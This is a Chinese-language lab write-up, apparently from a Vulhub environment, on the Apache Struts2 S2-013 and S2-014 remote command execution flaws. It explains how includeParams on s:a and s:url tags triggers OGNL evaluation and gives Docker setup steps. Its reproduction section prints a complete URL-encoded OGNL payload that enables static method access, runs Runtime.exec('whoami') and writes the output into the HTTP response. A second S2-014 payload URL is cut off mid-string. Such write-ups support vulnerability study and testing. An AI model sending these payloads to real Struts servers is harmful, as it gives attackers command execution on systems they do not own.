一、漏洞原理
S2-013:
Struts2 标签中 <s:a> 和 <s:url>
都包含一个 includeParams 属性,可以设置成如下值:
1、none - URL中不包含任何参数(默认)
2、get - 仅包含URL中的GET参数
3、all - 在URL中包含GET和POST参数此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行
需要在JSP页面中将s:url、s:a标签中的includeParams属性设定为get或all
<s:a>用来显示一个超链接,当includeParams=all或includeParams=get
时,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
影响版本:
Struts 2.0.0-2.3.14
二、环境启动
docker-compose build
docker-compose up -d
访问任意参数,action请求跳转到JSP或者请求的JSP中存在将includeParams属性设定为get或all的s:url、s:a标签。
三、漏洞复现
a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
在响应中可查看请求结果.
四、S2-014
S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强。
http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAcces
其中的变量名是任意的。利用时要确保action请求跳转到JSP或者请求的JSP中存在将includeParams属性设定为get或all的s:url、s:a标签。
参考链接:https://github.com/vulhub